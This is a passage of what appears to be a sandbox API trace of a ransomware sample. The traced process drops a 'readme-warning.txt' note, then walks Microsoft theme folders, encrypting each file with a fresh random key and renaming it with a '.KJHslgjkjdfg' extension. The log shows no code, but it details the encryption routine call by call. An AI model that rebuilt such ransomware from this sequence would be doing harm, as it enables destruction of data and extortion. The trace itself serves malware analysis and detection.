hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.274] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0175.274] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.274] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0175.274] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0175.274] RegCloseKey (hKey=0x12c) returned 0x0 [0175.274] GetProcessHeap () returned 0x990000 [0175.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0175.274] GetProcessHeap () returned 0x990000 [0175.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.274] GetProcessHeap () returned 0x990000 [0175.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0175.274] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0175.274] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0175.274] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.274] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0175.275] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.275] GetProcessHeap () returned 0x990000 [0175.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0175.275] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0175.275] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0175.275] GetProcessHeap () returned 0x990000 [0175.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0175.275] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\readme-warning.txt") returned 79 [0175.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.276] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0175.277] CloseHandle (hObject=0x12c) returned 1 [0175.278] GetProcessHeap () returned 0x990000 [0175.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0175.278] GetProcessHeap () returned 0x990000 [0175.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0175.278] GetProcessHeap () returned 0x990000 [0175.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0175.278] GetProcessHeap () returned 0x990000 [0175.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.278] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0175.278] GetProcessHeap () returned 0x990000 [0175.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0175.278] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0175.278] GetProcessHeap () returned 0x990000 [0175.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b0940 [0175.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0175.287] GetProcessHeap () returned 0x990000 [0175.287] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0175.287] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0175.287] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0175.287] GetProcessHeap () returned 0x990000 [0175.287] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9b1eb0 [0175.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.288] GetProcessHeap () returned 0x990000 [0175.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.288] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.288] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.288] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0175.291] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.291] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.291] GetProcessHeap () returned 0x990000 [0175.291] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.291] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.291] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.291] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.291] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.291] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.291] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.291] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.292] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.292] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.292] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.292] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.292] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x682, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x682, lpOverlapped=0x0) returned 1 [0175.292] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x690, dwBufLen=0x690 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x690) returned 1 [0175.292] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.292] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x690, lpOverlapped=0x0) returned 1 [0175.292] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.292] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.292] SetEndOfFile (hFile=0x12c) returned 1 [0175.295] GetProcessHeap () returned 0x990000 [0175.295] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.295] GetProcessHeap () returned 0x990000 [0175.295] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.kjhslgjkjdfg")) returned 1 [0175.296] CloseHandle (hObject=0x12c) returned 1 [0175.296] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0175.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.297] GetProcessHeap () returned 0x990000 [0175.297] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.297] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.297] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.297] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0175.299] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.299] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.299] GetProcessHeap () returned 0x990000 [0175.299] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0175.299] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0175.300] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.300] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0175.300] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.300] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.300] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.300] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.300] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.301] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.301] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.301] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb75e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xb75e, lpOverlapped=0x0) returned 1 [0175.302] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb760, dwBufLen=0xb760 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xb760) returned 1 [0175.303] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.303] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xb760, lpOverlapped=0x0) returned 1 [0175.303] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.303] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.303] SetEndOfFile (hFile=0x12c) returned 1 [0175.306] GetProcessHeap () returned 0x990000 [0175.306] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0175.306] GetProcessHeap () returned 0x990000 [0175.307] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.kjhslgjkjdfg")) returned 1 [0175.312] CloseHandle (hObject=0x12c) returned 1 [0175.312] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0175.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.313] GetProcessHeap () returned 0x990000 [0175.313] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.313] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.313] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.313] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0175.315] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.315] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.315] GetProcessHeap () returned 0x990000 [0175.315] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0175.315] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0175.315] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.315] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0175.315] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.315] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.316] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.317] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.317] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.317] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.317] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.317] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x24a, lpOverlapped=0x0) returned 1 [0175.317] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250, dwBufLen=0x250 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250) returned 1 [0175.317] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.317] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x250, lpOverlapped=0x0) returned 1 [0175.317] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.317] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.317] SetEndOfFile (hFile=0x12c) returned 1 [0175.320] GetProcessHeap () returned 0x990000 [0175.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0175.320] GetProcessHeap () returned 0x990000 [0175.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.kjhslgjkjdfg")) returned 1 [0175.336] CloseHandle (hObject=0x12c) returned 1 [0175.336] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0175.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 